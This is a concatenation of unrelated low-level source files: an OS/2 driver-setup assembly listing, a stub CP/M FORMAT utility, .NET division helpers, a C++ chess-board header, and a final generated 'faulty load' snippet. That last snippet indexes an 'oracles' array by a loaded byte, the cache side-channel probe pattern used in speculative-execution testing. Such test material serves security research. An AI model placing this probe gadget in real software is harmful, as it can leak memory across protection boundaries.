sub esp,0ch
mov edx,offset FLAT:@CBE20
mov eax,01h
call Verbose
add esp,014h
; 456 }
@BLBL33:
; 457 return 0;
xor eax,eax
add esp,068h
pop esi
pop edi
pop ebx
pop ebp
ret
@BLBL95:
; 467 Verbose(3, "VSETUP", "WM_COMMAND: %#x",cmd);
mov di,[ebp+010h]; mp1
movzx edi,di
push edi
mov ecx,offset FLAT:@CBE22
sub esp,0ch
mov edx,offset FLAT:@CBE2
mov eax,03h
call Verbose
mov eax,edi
add esp,010h
; 468 switch( cmd )
cmp eax,084h
jl @BLBL109
je @BLBL101
cmp eax,08dh
jl @BLBL110
je @BLBL103
cmp eax,08eh
je @BLBL104
cmp eax,0afh
je @BLBL108
jmp @BLBL86
@BLBL110:
cmp eax,085h
je @BLBL102
jmp @BLBL86
@BLBL109:
cmp eax,07ah
jl @BLBL111
je @BLBL107
cmp eax,07ch
je @BLBL106
cmp eax,083h
je @BLBL100
jmp @BLBL86
@BLBL111:
cmp eax,06fh
je @BLBL105
jmp @BLBL86
@BLBL100:
; 471 DisplayDriverVersion();
call DisplayDriverVersion__Fv
; 472 return 0;
add esp,068h
xor eax,eax
pop esi
pop edi
pop ebx
pop ebp
ret
@BLBL101:
; 475 DisplayDriverMessages();
call DisplayDriverMessages__Fv
; 476 return 0;
add esp,068h
xor eax,eax
pop esi
pop edi
pop ebx
pop ebp
ret
@BLBL102:
; 480 HWND const hwndFrame = WinQueryWindow(hwnd, QW_PARENT);
push 05h
push dword ptr [ebp+08h]; hwnd
call WinQueryWindow
; 481 HWND const hwndMenu = WinWindowFromID(hwndFrame, FID_MENU);
push 08005h
push eax
call WinWindowFromID
; 484 checked = WinIsMenuItemChecked(hwndMenu, IDM_NOBEEP);
push 02000h
; 481 HWND const hwndMenu = WinWindowFromID(hwndFrame, FID_MENU);
mov ebx,eax
; 484 checked = WinIsMenuItemChecked(hwndMenu, IDM_NOBEEP);
push 010085h
push 0191h
push ebx
call WinSendMsg
mov edi,eax
; 485 DriverSetBeeper((USHORT)checked);
call DriverSetBeeper__FUs
; 486 checked = !checked;
add edi,0ffffffffh
sbb edi,edi
inc edi
; 487 WinCheckMenuItem(hwndMenu,IDM_NOBEEP, checked);
test di,di
setne cl
movzx ecx,cl
neg ecx
and ecx,02000h
movzx ecx,cx
sal ecx,010h
or ch,020h
push ecx
push 010085h
push 0192h
push ebx
call WinSendMsg
add esp,030h
; 489 return 0;
xor eax,eax
add esp,068h
pop esi
pop edi
pop ebx
pop ebp
ret
@BLBL103:
; 496 dta->parent = hwnd;
mov ebx,[ebp+08h]; hwnd
; 494 PTHR_DRVSETUP dta = new THR_DRVSETUP;
mov eax,04h
call __nw__FUi
; 497 tid = _beginthread(DrvsetupThread, NULL, STACK_SIZE, dta);
push eax
; 496 dta->parent = hwnd;
mov [eax],ebx
; 497 tid = _beginthread(DrvsetupThread, NULL, STACK_SIZE, dta);
sub esp,0ch
mov ecx,0100000h
xor edx,edx
mov eax,offset FLAT: DrvsetupThread
call _beginthread
add esp,010h
mov [ebp-01ch],eax; tid
; 498 if( tid == -1 )
cmp eax,0ffffffffh
jne @BLBL37
; 499 Verbose(1, "VSETUP",
call _errno
mov ecx,offset FLAT:@CBE23
push dword ptr [eax]
mov edx,offset FLAT:@CBE2
sub esp,0ch
mov eax,01h
call Verbose
add esp,010h
; 500 "Couldn't create DrvsetupThread - error %d", errno);
jmp @BLBL38
@BLBL37:
; 503 HWND const hwndFrame = WinQueryWindow(hwnd, QW_PARENT);
push 05h
; 506 Verbose(3, "VSETUP", "hwndFrame %#x", hwndFrame);
mov edi,offset FLAT:@CBE2
; 503 HWND const hwndFrame = WinQueryWindow(hwnd, QW_PARENT);
push dword ptr [ebp+08h]; hwnd
call WinQueryWindow
; 504 HWND const hwndMenu = WinWindowFromID(hwndFrame, FID_MENU);
push 08005h
; 503 HWND const hwndFrame = WinQueryWindow(hwnd, QW_PARENT);
mov ebx,eax
; 504 HWND const hwndMenu = WinWindowFromID(hwndFrame, FID_MENU);
push ebx
call WinWindowFromID
; 506 Verbose(3, "VSETUP", "hwndFrame %#x", hwndFrame);
push ebx
mov ebx,eax
sub esp,0ch
mov ecx,offset FLAT:@CBE18
mov edx,edi
mov eax,03h
call Verbose
; 507 Verbose(3, "VSETUP", "hwndMenu %#x", hwndMenu);
push ebx
; 506 Verbose(3, "VSETUP", "hwndFrame %#x", hwndFrame);
mov edx,edi
; 507 Verbose(3, "VSETUP", "hwndMenu %#x", hwndMenu);
sub esp,0ch
mov ecx,offset FLAT:@CBE19
mov eax,03h
call Verbose
; 508 bool = WinEnableMenuItem(hwndMenu, IDM_DRVSETUP, FALSE);
push 040004000h
push 01008dh
push 0192h
push ebx
call WinSendMsg
add esp,040h
; 509 if( bool == FALSE )
test eax,eax
jne @BLBL39
; 510 Verbose(1, "VSetup",
mov ebx,esi
push dword ptr [ebx]
call WinGetLastError
push eax
mov ecx,offset FLAT:@CBE21
sub esp,0ch
mov edx,offset FLAT:@CBE20
mov eax,01h
call Verbose
add esp,014h
; 512 WinGetLastError(windata->hab));
@BLBL39:
; 513 Verbose(2, "VSETUP", "created thread id %d", tid);
push dword ptr [ebp-01ch]; tid
mov ecx,offset FLAT:@CBE24
sub esp,0ch
mov edx,offset FLAT:@CBE2
mov eax,02h
call Verbose
add esp,010h
; 514 }
@BLBL38:
; 516 return 0;
xor eax,eax
add esp,068h
pop esi
pop edi
pop ebx
pop ebp
ret
@BLBL104:
; 522 result = WinDlgBox(HWND_DESKTOP, hwnd, DumpDialogProc,
mov ebx,[ebp+08h]; hwnd
push ebx
push 0208h
push 0h
push offset FLAT: DumpDialogProc
push ebx
push 01h
call WinDlgBox
; 524 Verbose(2, "VSETUP", "WinDlgBox(IDW_DRVDUMP) returned %lu "
mov ecx,esi
; 522 result = WinDlgBox(HWND_DESKTOP, hwnd, DumpDialogProc,
mov ebx,eax
; 524 Verbose(2, "VSETUP", "WinDlgBox(IDW_DRVDUMP) returned %lu "
push dword ptr [ecx]
call WinGetLastError
push eax
mov ecx,offset FLAT:@CBE25
push ebx
mov edx,offset FLAT:@CBE2
sub esp,0ch
mov eax,02h
call Verbose
add esp,030h
; 528 return 0;
add esp,068h
xor eax,eax
pop esi
pop edi
pop ebx
pop ebp
ret
@BLBL105:
; 531 return 0;
xor eax,eax
add esp,068h
pop esi
pop edi
pop ebx
pop ebp
ret
@BLBL106:
; 537 textlen = (IPT)WinSendMsg(windata->hwndMle,
push 0h
mov ebx,esi
push 0h
push 01c0h
push dword ptr [ebx+04h]
call WinSendMsg
; 539 WinSendMsg(windata->hwndMle, MLM_DELETE,
push eax
push 0h
push 01c6h
push dword ptr [ebx+04h]
call WinSendMsg
add esp,020h
; 542 return 0;
add esp,068h
xor eax,eax
pop esi
pop edi
pop ebx
pop ebp
ret
@BLBL107:
; 545 WinSendMsg(windata->hwndMle, MLM_COPY, 0, 0);
push 0h
mov ebx,esi
push 0h
push 01d9h
push dword ptr [ebx+04h]
call WinSendMsg
add esp,010h
; 546 return 0;
add esp,068h
xor eax,eax
pop esi
pop edi
pop ebx
pop ebp
ret
@BLBL108:
; 553 result = WinDlgBox(HWND_DESKTOP, hwnd, AboutDialogProc,
lea ebx,[ebp-01eh]; version
push ebx
; 550 USHORT version = (SUBVER << 8) | VER;
mov word ptr [ebp-01eh],05200h; version
; 553 result = WinDlgBox(HWND_DESKTOP, hwnd, AboutDialogProc,
push 01f4h
push 0h
push offset FLAT: AboutDialogProc
push dword ptr [ebp+08h]; hwnd
push 01h
call WinDlgBox
; 555 Verbose(2, "VSETUP", "WinDlgBox(IDW_ABOUT) returned %lu "
mov ecx,esi
; 553 result = WinDlgBox(HWND_DESKTOP, hwnd, AboutDialogProc,
mov ebx,eax
; 555 Verbose(2, "VSETUP", "WinDlgBox(IDW_ABOUT) returned %lu "
push dword ptr [ecx]
call WinGetLastError
push eax
mov ecx,offset FLAT:@CBE26
push ebx
mov edx,offset FLAT:@CBE2
sub esp,0ch
mov eax,02h
call Verbose
add esp,030h
; 559 return 0;
add esp,068h
xor eax,eax
pop esi
pop edi
pop ebx
pop ebp
ret
; 565 break; /* continue with default */
jmp @BLBL86
@BLBL96:
; 568 return (MRESULT)TRUE;
add esp,068h
mov eax,01h
pop esi
pop edi
pop ebx
pop ebp
ret
; 571 break;
@BLBL86:
; 574 return WinDefWindowProc(hwnd, msg, mp1, mp2);
push dword ptr [ebp+014h]; mp2
push dword ptr [ebp+010h]; mp1
push dword ptr [ebp+0ch]; msg
push dword ptr [ebp+08h]; hwnd
call WinDefWindowProc
add esp,078h
pop esi
pop edi
pop ebx
pop ebp
ret
WindowProc endp
; 271 DisplayDriverMessages(VOID)
DisplayDriverMessages__Fv proc
push edi
push esi
sub esp,08h
; 276 if( (rc=DriverReadMessages((PUCHAR *)&buffer)) != 0 )
lea eax,[esp+04h]; buffer
call DriverReadMessages__FPPUc
test eax,eax
je @BLBL15
; 277 Verbose(0, "VSETUP", "Can't read driver messages - error %lu", rc);
push eax
mov ecx,offset FLAT:@CBE5
sub esp,0ch
mov edx,offset FLAT:@CBE2
xor eax,eax
call Verbose
add esp,018h
pop esi
pop edi
ret
@BLBL15:
; 282 for( l = i = 0; buffer[i] != '\0'; i += strlen(&buffer[i])+1, ++l )
mov eax,[esp+04h]; buffer
cmp byte ptr [eax],0h
je @BLBL17
xor esi,esi
xor edi,edi
@BLBL18:
; 283 Verbose(0, "VRAID", "Line %u: %s", l, &buffer[i]);
mov eax,[esp+04h]; buffer
add eax,esi
push eax
mov ecx,offset FLAT:@CBE7
push edi
mov edx,offset FLAT:@CBE6
sub esp,0ch
xor eax,eax
call Verbose
; 282 for( l = i = 0; buffer[i] != '\0'; i += strlen(&buffer[i])+1, ++l )
mov eax,[esp+018h]; buffer
add eax,esi
call strlen
add esp,014h
inc eax
mov ecx,[esp+04h]; buffer
add eax,esi
inc edi
mov esi,eax
cmp byte ptr [ecx+esi],0h
jne @BLBL18
@BLBL17:
; 284 delete[] buffer;
mov eax,[esp+04h]; buffer
call __vd__FPv
; 286 return;
add esp,08h
pop esi
pop edi
ret
DisplayDriverMessages__Fv endp
; 254 DisplayDriverVersion(VOID)
DisplayDriverVersion__Fv proc
sub esp,0ch
; 259 if( (rc=DriverGetVersion(&ver, &us)) != 0 )
lea edx,[esp+08h]; us
lea eax,[esp+0ah]; ver
call DriverGetVersion__FPUsT1
test eax,eax
je @BLBL11
; 260 Verbose(0, "VSETUP", "Can't read driver version - error %lu",rc);
push eax
mov ecx,offset FLAT:@CBE3
sub esp,0ch
mov edx,offset FLAT:@CBE2
xor eax,eax
call Verbose
add esp,01ch
ret
@BLBL11:
; 262 Verbose(0, "VSETUP", "Driver Version %u.%02u installed",
mov edx,offset FLAT:@CBE2
mov ax,[esp+0ah]; ver
mov cx,ax
movzx ecx,cl
push ecx
movzx eax,ax
sar eax,08h
and eax,0ffh
movzx eax,al
push eax
mov ecx,offset FLAT:@CBE4
sub esp,0ch
xor eax,eax
call Verbose
; 264 return;
add esp,020h
ret
DisplayDriverVersion__Fv endp
; 170 Verbose(unsigned level,char const * module,char const * fmt,...)
public Verbose
Verbose proc
push ebx
mov ebx,edx
push edi
sub esp,014h
; 172 if( level <= uLogLevel )
cmp dword ptr @6uLogLevel,eax
; 170 Verbose(unsigned level,char const * module,char const * fmt,...)
mov [esp+028h],ecx; fmt
; 172 if( level <= uLogLevel )
jb @BLBL3
; 174 char * const str = new char[4000];
mov eax,0fa0h
call __vn__FUi
; 178 i = sprintf(str, "\r%s - ", module);
push ebx
mov ebx,eax
sub esp,08h
mov edx,offset FLAT:@CBE1
call _sprintfieee
; 180 vsprintf(&str[i], fmt, argp);
mov edx,[esp+034h]; fmt
add eax,ebx
lea ecx,[esp+038h]; fmt
call _vsprintfieee
add esp,0ch
; 183 if( hdLogFile != 0 )
cmp dword ptr @7hdLogFile,0h
; 174 char * const str = new char[4000];
mov edi,ebx
; 183 if( hdLogFile != 0 )
je @BLBL4
; 187 DosWrite(hdLogFile, str, strlen(str), &ul);
mov eax,ebx
call strlen
lea ecx,[esp+0ch]; ul
push ecx
push eax
push ebx
push dword ptr @7hdLogFile
call DosWrite
add esp,010h
; 188 }
@BLBL4:
; 189 WinPostMsg(hwndClient, WUM_ADDLOG, MPFROMP(str), 0);
push 0h
push edi
push 01001h
push dword ptr @5hwndClient
call WinPostMsg
add esp,010h
; 190 }
@BLBL3:
; 191 }
add esp,014h
pop edi
pop ebx
ret
Verbose endp
CODE32 ends
end
|
;===============================================================================
; FORMAT - DISK FORMAT UTILITY FOR ROMWBW ADAPTATION OF CP/M 2.2
;===============================================================================
;
; AUTHOR: WAYNE WARTHEN (wwarthen@gmail.com)
;_______________________________________________________________________________
;
; Usage:
; FORMAT D:
; ex: FORMAT (display version and usage)
; FORMAT /? (display version and usage)
; FORMAT C: (format drive C:)
;_______________________________________________________________________________
;
; Change Log:
;_______________________________________________________________________________
;
; ToDo:
; 1) Actually implement this
;_______________________________________________________________________________
;
;===============================================================================
; Definitions
;===============================================================================
;
stksiz .equ $40 ; Working stack size
;
restart .equ $0000 ; CP/M restart vector
bdos .equ $0005 ; BDOS invocation vector
;;
;stamp .equ $40 ; loc of RomWBW CBIOS zero page stamp
;
rmj .equ 2 ; CBIOS version - major
rmn .equ 9 ; CBIOS version - minor
;
;===============================================================================
; Code Section
;===============================================================================
;
;
.org $100
;
; setup stack (save old value)
ld (stksav),sp ; save stack
ld sp,stack ; set new stack
;
; initialization
call init ; initialize
jr nz,exit ; abort if init fails
;
; do the real work
call process ; parse and process command line
jr nz,exit ; done if error or no action
;
exit: ; clean up and return to command processor
call crlf ; formatting
ld sp,(stksav) ; restore stack
jp restart ; return to CP/M via restart
ret ; return to CP/M w/o restart
;
; Initialization
;
init:
;
; locate start of cbios (function jump table)
ld hl,(restart+1) ; load address of CP/M restart vector
ld de,-3 ; adjustment for start of table
add hl,de ; HL now has start of table
ld (bioloc),hl ; save it
;
; check for UNA (UBIOS)
ld a,($FFFD) ; fixed location of UNA API vector
cp $C3 ; jp instruction?
jr nz,initx ; if not, not UNA
ld hl,($FFFE) ; get jp address
ld a,(hl) ; get byte at target address
cp $FD ; first byte of UNA push ix instruction
jr nz,initx ; if not, not UNA
inc hl ; point to next byte
ld a,(hl) ; get next byte
cp $E5 ; second byte of UNA push ix instruction
jr nz,initx ; if not, not UNA
ld hl,unamod ; point to UNA mode flag
ld (hl),$FF ; set UNA mode flag
;
initx:
;
xor a
ret
;
; Process command line
;
process:
jr usage
;
xor a
ret
;
usage:
;
call crlf ; formatting
ld de,msgban1 ; point to version message part 1
call prtstr ; print it
ld a,(unamod) ; get UNA flag
or a ; set flags
ld de,msghb ; point to HBIOS mode message
call z,prtstr ; if not UNA, say so
ld de,msgub ; point to UBIOS mode message
call nz,prtstr ; if UNA, say so
call crlf ; formatting
ld de,msgban2 ; point to version message part 2
call prtstr ; print it
call crlf2 ; blank line
ld de,msguse ; point to usage message
call prtstr ; print it
xor a ; signal success
ret ; and return
;
; Print character in A without destroying any registers
;
prtchr:
push bc ; save registers
push de
push hl
ld e,a ; character to print in E
ld c,$02 ; BDOS function to output a character
call bdos ; do it
pop hl ; restore registers
pop de
pop bc
ret
;
; Print a zero terminated string at (HL) without destroying any registers
;
prtstr:
push de
;
prtstr1:
ld a,(de) ; get next char
or a
jr z,prtstr2
call prtchr
inc de
jr prtstr1
;
prtstr2:
pop de ; restore registers
ret
;
; Start a new line
;
crlf2:
call crlf ; two of them
crlf:
push af ; preserve AF
ld a,13 ; <CR>
call prtchr ; print it
ld a,10 ; <LF>
call prtchr ; print it
pop af ; restore AF
ret
;
; Invoke CBIOS function
; The CBIOS function offset must be stored in the byte
; following the call instruction. ex:
; call cbios
; .db $0C ; offset of CONOUT CBIOS function
;
cbios:
ex (sp),hl
ld a,(hl) ; get the function offset
inc hl ; point past value following call instruction
ex (sp),hl ; put address back at top of stack and recover HL
ld hl,(bioloc) ; address of CBIOS function table to HL
call addhl ; determine specific function address
jp (hl) ; invoke CBIOS
;
; Add the value in A to HL (HL := HL + A)
;
addhl:
add a,l ; A := A + L
ld l,a ; Put result back in L
ret nc ; if no carry, we are done
inc h ; if carry, increment H
ret ; and return
;
; Jump indirect to address in HL
;
jphl:
jp (hl)
;
;===============================================================================
; Storage Section
;===============================================================================
;
bioloc .dw 0 ; CBIOS starting address
;
unamod .db 0 ; $FF indicates UNA UBIOS active
;
stksav .dw 0 ; stack pointer saved at start
.fill stksiz,0 ; stack
stack .equ $ ; stack top
;
msgban1 .db "FORMAT v0.1a for RomWBW CP/M 2.2, 02-Sep-2017",0
msghb .db " (HBIOS Mode)",0
msgub .db " (UBIOS Mode)",0
msgban2 .db "Copyright (C) 2017, Wayne Warthen, GNU GPL v3",0
msguse .db "FORMAT command is not yet implemented!",13,10,13,10
.db "Use FDU command to physically format floppy diskettes",13,10
.db "Use CLRDIR command to (re)initialize directories",13,10
.db "Use SYSCOPY command to make disks bootable",13,10
.db "Use FDISK80 command to partition mass storage media",0
;
.end
|
;; Licensed to the .NET Foundation under one or more agreements.
;; The .NET Foundation licenses this file to you under the MIT license.
.586
.model flat
option casemap:none
.code
include AsmMacros.inc
EXTERN RhExceptionHandling_ThrowClasslibOverflowException : PROC
EXTERN RhExceptionHandling_ThrowClasslibDivideByZeroException : PROC
EXTERN __alldiv : PROC
EXTERN __allrem : PROC
EXTERN __aulldiv : PROC
EXTERN __aullrem : PROC
EXTERN __aulldvrm : PROC
EXTERN __alldvrm : PROC
esp_offsetof_dividend_low equ 4
esp_offsetof_dividend_high equ 8
esp_offsetof_divisor_low equ 12
esp_offsetof_divisor_high equ 16
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; RhpLDiv
;;
;; INPUT: [ESP+4]: dividend low
;; [ESP+8]: dividend high
;; [ESP+12]: divisor low
;; [ESP+16]: divisor high
;;
;; OUTPUT: EAX: result low
;; EDX: result high
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
FASTCALL_FUNC RhpLDiv, 16
;; pretest for the problematic cases of overflow and divide by zero
;; overflow: dividend = 0x80000000`00000000 and divisor = -1l = 0xffffffff`ffffffff
;; divide by zero: divisor = 0x00000000`00000000
;;
;; quick pretest - if the two halves of the divisor are unequal, we cannot
;; have one of the problematic cases
mov eax,[esp+esp_offsetof_divisor_low]
cmp eax,[esp+esp_offsetof_divisor_high]
je LDivDoMoreTests
LDivOkToDivide:
;; tailcall to the actual divide routine
jmp __alldiv
LDivDoMoreTests:
;; we know the high and low halves of the divisor are equal
;;
;; check for the divide by zero case
test eax,eax
je ThrowClasslibDivideByZeroException
;;
;; is the divisor == -1l? I.e., can we have the overflow case?
cmp eax,-1
jne LDivOkToDivide
;;
;; is the dividend == 0x80000000`00000000?
cmp dword ptr [esp+esp_offsetof_dividend_low],0
jne LDivOkToDivide
cmp dword ptr [esp+esp_offsetof_dividend_high],80000000h
jne LDivOkToDivide
FASTCALL_ENDFUNC
;; make it look like the managed code called this directly
;; by popping the parameters and putting the return address in the proper place
ThrowClasslibOverflowException proc
pop ecx
add esp,16
push ecx
;; passing return address in ecx
jmp RhExceptionHandling_ThrowClasslibOverflowException
ThrowClasslibOverflowException endp
ThrowClasslibDivideByZeroException proc
pop ecx
add esp,16
push ecx
;; passing return address in ecx
jmp RhExceptionHandling_ThrowClasslibDivideByZeroException
ThrowClasslibDivideByZeroException endp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; RhpLMod
;;
;; INPUT: [ESP+4]: dividend low
;; [ESP+8]: dividend high
;; [ESP+12]: divisor low
;; [ESP+16]: divisor high
;;
;; OUTPUT: EAX: result low
;; EDX: result high
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
FASTCALL_FUNC RhpLMod, 16
;; pretest for the problematic cases of overflow and divide by zero
;; overflow: dividend = 0x80000000`00000000 and divisor = -1l = 0xffffffff`ffffffff
;; divide by zero: divisor = 0x00000000`00000000
;;
;; quick pretest - if the two halves of the divisor are unequal, we cannot
;; have one of the problematic cases
mov eax,[esp+esp_offsetof_divisor_low]
cmp eax,[esp+esp_offsetof_divisor_high]
je LModDoMoreTests
LModOkToDivide:
jmp __allrem
LModDoMoreTests:
;; we know the high and low halves of the divisor are equal
;;
;; check for the divide by zero case
test eax,eax
je ThrowClasslibDivideByZeroException
;;
;; is the divisor == -1l? I.e., can we have the overflow case?
cmp eax,-1
jne LModOkToDivide
;;
;; is the dividend == 0x80000000`00000000?
cmp dword ptr [esp+esp_offsetof_dividend_low],0
jne LModOkToDivide
cmp dword ptr [esp+esp_offsetof_dividend_high],80000000h
jne LModOkToDivide
jmp ThrowClasslibOverflowException
FASTCALL_ENDFUNC
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; RhpLDivMod
;;
;; INPUT: [ESP+4]: dividend low
;; [ESP+8]: dividend high
;; [ESP+12]: divisor low
;; [ESP+16]: divisor high
;;
;; OUTPUT: EAX: quotient low
;; EDX: quotient high
;; ECX: remainder high
;; EBX: remainder high
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
FASTCALL_FUNC RhpLDivMod, 16
;; pretest for the problematic cases of overflow and divide by zero
;; overflow: dividend = 0x80000000`00000000 and divisor = -1l = 0xffffffff`ffffffff
;; divide by zero: divisor = 0x00000000`00000000
;;
;; quick pretest - if the two halves of the divisor are unequal, we cannot
;; have one of the problematic cases
mov eax,[esp+esp_offsetof_divisor_low]
cmp eax,[esp+esp_offsetof_divisor_high]
je LDivModDoMoreTests
LDivModOkToDivide:
jmp __alldvrm
LDivModDoMoreTests:
;; we know the high and low halves of the divisor are equal
;;
;; check for the divide by zero case
test eax,eax
je ThrowClasslibDivideByZeroException
;;
;; is the divisor == -1l? I.e., can we have the overflow case?
cmp eax,-1
jne LDivModOkToDivide
;;
;; is the dividend == 0x80000000`00000000?
cmp dword ptr [esp+esp_offsetof_dividend_low],0
jne LDivModOkToDivide
cmp dword ptr [esp+esp_offsetof_dividend_high],80000000h
jne LDivModOkToDivide
jmp ThrowClasslibOverflowException
FASTCALL_ENDFUNC
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; RhpULDiv
;;
;; INPUT: [ESP+4]: dividend low
;; [ESP+8]: dividend high
;; [ESP+12]: divisor low
;; [ESP+16]: divisor high
;;
;; OUTPUT: EAX: result low
;; EDX: result high
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
FASTCALL_FUNC RhpULDiv, 16
;; pretest for divide by zero
mov eax,[esp+esp_offsetof_divisor_low]
or eax,[esp+esp_offsetof_divisor_high]
jne __aulldiv
jmp ThrowClasslibDivideByZeroException
FASTCALL_ENDFUNC
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; RhpULMod
;;
;; INPUT: [ESP+4]: dividend low
;; [ESP+8]: dividend high
;; [ESP+12]: divisor low
;; [ESP+16]: divisor high
;;
;; OUTPUT: EAX: result low
;; EDX: result high
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
FASTCALL_FUNC RhpULMod, 16
;; pretest for divide by zero
mov eax,[esp+esp_offsetof_divisor_low]
or eax,[esp+esp_offsetof_divisor_high]
jne __aullrem
jmp ThrowClasslibDivideByZeroException
FASTCALL_ENDFUNC
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; RhpULDivMod
;;
;; INPUT: [ESP+4]: dividend low
;; [ESP+8]: dividend high
;; [ESP+12]: divisor low
;; [ESP+16]: divisor high
;;
;; OUTPUT: EAX: quotient low
;; EDX: quotient high
;; ECX: remainder high
;; EBX: remainder high
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
FASTCALL_FUNC RhpULDivMod, 16
;; pretest for divide by zero
mov eax,[esp+esp_offsetof_divisor_low]
or eax,[esp+esp_offsetof_divisor_high]
jne __aulldvrm
jmp ThrowClasslibDivideByZeroException
FASTCALL_ENDFUNC
end
|
//
// Created by mcountryman on 4/7/2020.
//
#ifndef ROOKIE_BOARD_HPP
#define ROOKIE_BOARD_HPP
#include "frame/frame.hpp"
#include "frame/frame_resolver.hpp"
#include <opencv2/core/mat.hpp>
namespace rookie::board {
class Board {
public:
bool ProcessFrame(cv::Mat &frame);
private:
bool _drawDebugInfo = true;
bool _drawDebugCells = false;
bool _drawDebugLines = false;
bool _drawDebugQuads = false;
bool _drawDebugPoints = true;
bool _drawDebugTriangles = false;
frame::FrameResolver _frameResolver;
};
}
#endif //ROOKIE_BOARD_HPP
|
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %rbp
push %rbx
push %rsi
// Faulty Load
lea addresses_WC+0xe9a4, %r11
nop
nop
nop
cmp $60320, %rsi
vmovups (%r11), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $0, %xmm3, %rbp
lea oracles, %r10
and $0xff, %rbp
shlq $12, %rbp
mov (%r10,%rbp,1), %rbp
pop %rsi
pop %rbx
pop %rbp
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WC', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_WC', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'38': 21829}
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 